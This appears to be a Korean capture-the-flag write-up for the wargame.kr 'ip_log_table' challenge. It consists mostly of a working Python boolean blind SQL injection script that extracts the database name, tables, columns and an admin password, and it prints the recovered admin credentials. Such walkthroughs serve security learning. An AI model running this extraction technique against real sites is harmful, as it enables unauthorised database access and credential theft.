ip_log_table 중에서 하나를 클릭하면, idx에 값이 포함되어 POST로 서버에 전송된다.

idx에 여러가지 값을 넣다보면, 그 값이 46875 등 유효한 값일 때에는 해당 시간을 출력하며, 쿼리에러 혹은 무효한 값일 때에는 1970-01-01을 출력한다.

이를 이용해서 아래와 같이 blind sql injection을 실행한다.

idx=if(1=1,46875,99999) // 참 = 46875, 거짓 = 99999(무효)

아래는 실행한 코드이다.

특징은

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
 'Accept-Encoding': 'gzip, deflate',
 'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
 'Cache-Control': 'max-age=0',
 'Connection': 'keep-alive',
 'Content-Length': '45',
 'Content-Type': 'application/x-www-form-urlencoded',
 'Cookie': '####',
 'Host': 'wargame.kr:8080',
 'Origin': '<http://wargame.kr:8080>',
 'Referer': '<http://wargame.kr:8080/ip_log_table/>',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': '####'}
url = "<http://wargame.kr:8080/ip_log_table/chk.php>"

# Find database name length

length = 12
if length == 0 :
    for i in range(1,40):
        datas = {
            'idx' : "if(length(database())=%d,46875,99999)"%i
            }

        res = requests.post(url=url, headers=header, data=datas, verify=False)
        if res.text.find('1970') == -1:
            print("result", i)
            break;

# Find Database name

database_name = 'ip_log_table'
if database_name == '' :
    for i in range(1, 12 + 1): # mysql substr start from 1, not 0
        # range set
        v_min = 0x20
        v_max = 0x80

        # narrow down the range
        while v_max - v_min > 5 :
            datas = {
                'idx' : f"if( ord(substring(database(),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            if res.text.find('1970') == -1: # true
                v_min = int((v_min + v_max)/2)
            else:
                v_max = int((v_min + v_max)/2) - 1
            print(f"[{i}]", "Narrow value", v_min, v_max)

        # pinset the value
        for j in range(v_min, v_max + 1):

            datas = {
                'idx' : f"if( ord(substring(database(),{i},1)) = {j} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            print(f"[{i}]", 'ing....', i, j)
            if res.text.find('1970') == -1: # true
                print("Find!", i, chr(j))
                database_name += chr(j)
                print("[database_name] : ", database_name)
                break;

# Find table name

table_name = 'admin_table,ip_table'
# ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,INDEX_STATISTICS,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES
# ,USER_STATISTICS,VIEWS,INNODB_CMP,XTRADB_INTERNAL_HASH_TABLES,INNODB_SYS_DATAFILES,XTRADB_RSEG,INNODB_SYS_TABLESTATS,INNODB_TRX,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_LOCKS,INNODB_FT_DELETED,XTRADB_READ_VIEW,INNODB_LOCK_WAITS,INNODB_CMPMEM_RESET,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_BUFFER_PAGE_LRU,INNODB_FT_CONFIG,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_METR
# ICS,INNODB_BUFFER_POOL_ST
if table_name == '' :
    for i in range(0, 500): # mysql substr start from 1, not 0
        # range set
        v_min = 0x20
        v_max = 0x80

        # narrow down the range
        while v_max - v_min > 5 :
            datas = {
                'idx' : f"if( ord(substring((select group_concat(table_name) from information_schema.tables where table_schema = database()),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            if res.text.find('1970') == -1: # true
                v_min = int((v_min + v_max)/2)
            else:
                v_max = int((v_min + v_max)/2) - 1
            print(f"[{i}]", "Narrow value", v_min, v_max)

        # pinset the value
        for j in range(v_min, v_max + 1):

            datas = {
                'idx' : f"if( ord(substring((select group_concat(table_name) from information_schema.tables where table_schema = database()),{i},1)) = {j} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            print(f"[{i}]", 'ing....', i, j)
            if res.text.find('1970') == -1: # true
                print("Find!", i, chr(j))
                table_name += chr(j)
                print("[table_name] : ", table_name)
                break;

# Find Column name

column_name = 'idx,id,ps,idx,ip,tm'
if column_name == '' :
    for i in range(0, 500): # mysql substr start from 1, not 0
        # range set
        v_min = 0x20
        v_max = 0x80

        # narrow down the range
        while v_max - v_min > 5 :
            datas = {
                'idx' : f"if( ord(substring((select group_concat(column_name) from information_schema.columns where table_schema = database()),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            if res.text.find('1970') == -1: # true
                v_min = int((v_min + v_max)/2)
            else:
                v_max = int((v_min + v_max)/2) - 1
            print(f"[{i}]", "Narrow value", v_min, v_max)

        # pinset the value
        for j in range(v_min, v_max + 1):

            datas = {
                'idx' : f"if( ord(substring((select group_concat(column_name) from information_schema.columns where table_schema = database()),{i},1)) = {j} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            print(f"[{i}]", 'ing....', i, j)
            if res.text.find('1970') == -1: # true
                print("Find!", i, chr(j))
                column_name += chr(j)
                print("[column_name] : ", column_name)
                break;

# Find Admin Password!

admin_id = 'blue_admin'
password = '0h~myp4ss!'
if password == '' :
    for i in range(0, 500): # mysql substr start from 1, not 0
        # range set
        v_min = 0x20
        v_max = 0x80

        # narrow down the range
        while v_max - v_min > 5 :
            datas = {
                'idx' : f"if( ord(substring((select group_concat(id) from admin_table),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            if res.text.find('1970') == -1: # true
                v_min = int((v_min + v_max)/2)
            else:
                v_max = int((v_min + v_max)/2) - 1
            print(f"[{i}]", "Narrow value", v_min, v_max)

        # pinset the value
        for j in range(v_min, v_max + 1):

            datas = {
                'idx' : f"if( ord(substring((select group_concat(id) from admin_table),{i},1)) = {j} ,46875,99999)"
                }
            res = requests.post(url=url, headers=header, data=datas, verify=False)
            print(f"[{i}]", 'ing....', i, j)
            if res.text.find('1970') == -1: # true
                print("Find!", i, chr(j))
                password += chr(j)
                print("[password] : ", password)
                break;